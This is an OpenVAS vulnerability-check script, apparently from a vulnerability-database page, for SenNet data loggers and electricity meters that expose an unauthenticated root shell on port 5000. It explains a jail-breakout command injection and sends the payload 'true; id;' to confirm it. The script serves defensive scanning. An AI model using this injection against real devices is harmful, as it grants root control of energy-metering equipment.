SenNet Data Logger Appliances and Electricity Meters Multiple Vulnerabilities
🗓️ 11 Apr 2017 00:00:00Reported by Copyright (C) 2017 Greenbone AGType
openvas🔗 plugins.openvas.org👁 19 Views
| Source | Link |
|---|---|
| seclists | www.seclists.org/fulldisclosure/2017/Apr/36 |
# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.140246");
script_tag(name:"cvss_base", value:"10.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_version("2023-07-25T05:05:58+0000");
script_name("SenNet Data Logger Appliances and Electricity Meters Multiple Vulnerabilities");
script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2017/Apr/36");
script_tag(name:"vuldetect", value:"Try to connect to TCP port 5000 and execute the `id` command.");
script_tag(name:"insight", value:"Vulnerability Details
1. No access control on the remote shell
The appliance runs ARM as underlying OS. Telnet access is enabled on TCP
port 5000. There is no authentication required for accessing and connecting
the remote shell. Any user can connect to the shell and issue commands.
2. Shell services running with excessive privileges (superuser)
The service runs with superuser root privileges, thus giving privileged
access to any user, without any authentication (exploited via OS Command
Injection described nexe).
3. OS Command Injection
The remote shell (attempts to) offer a restricted environment, and does not
allow executing system commands. However, it is possible to break out of
this jailed shell by chaining specific shell meta-characters and OS
commands.
The service / application is run as 'root' and OS command injection results
in full system access.");
script_tag(name:"solution", value:"Vendor has released a fix.");
script_tag(name:"summary", value:"The remote SenNet Appliances is affected by multiple vulnerabilities.");
script_tag(name:"affected", value:"SenNet Optimal DataLogger appliance
SenNet Solar DataLogger appliance
SenNet Multitask Meter");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"last_modification", value:"2023-07-25 05:05:58 +0000 (Tue, 25 Jul 2023)");
script_tag(name:"creation_date", value:"2017-04-11 11:24:42 +0200 (Tue, 11 Apr 2017)");
script_category(ACT_ATTACK);
script_family("Gain a shell remotely");
script_copyright("Copyright (C) 2017 Greenbone AG");
script_dependencies("find_service.nasl");
script_require_ports(5000);
exit(0);
}
port = 5000;
if( ! get_port_state( port ) ) exit( 0 );
soc = open_sock_tcp( port );
if( ! soc ) exit( 0 );
send( socket:soc, data:'true; id;\n');
recv = recv( socket:soc, length:64 );
close( soc );
if( recv =~ "uid=[0-9]+.*gid=[0-9]+" )
{
report = 'It was possible to execute the `id` command by connection to port `' + port + '` of the remote device.\n\nResponse:\n\n' + recv + '\n';
security_message( port:port, data:report );
exit( 0 );
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
25 Jul 2023 00:00Current
7.5High risk
Vulners AI Score7.5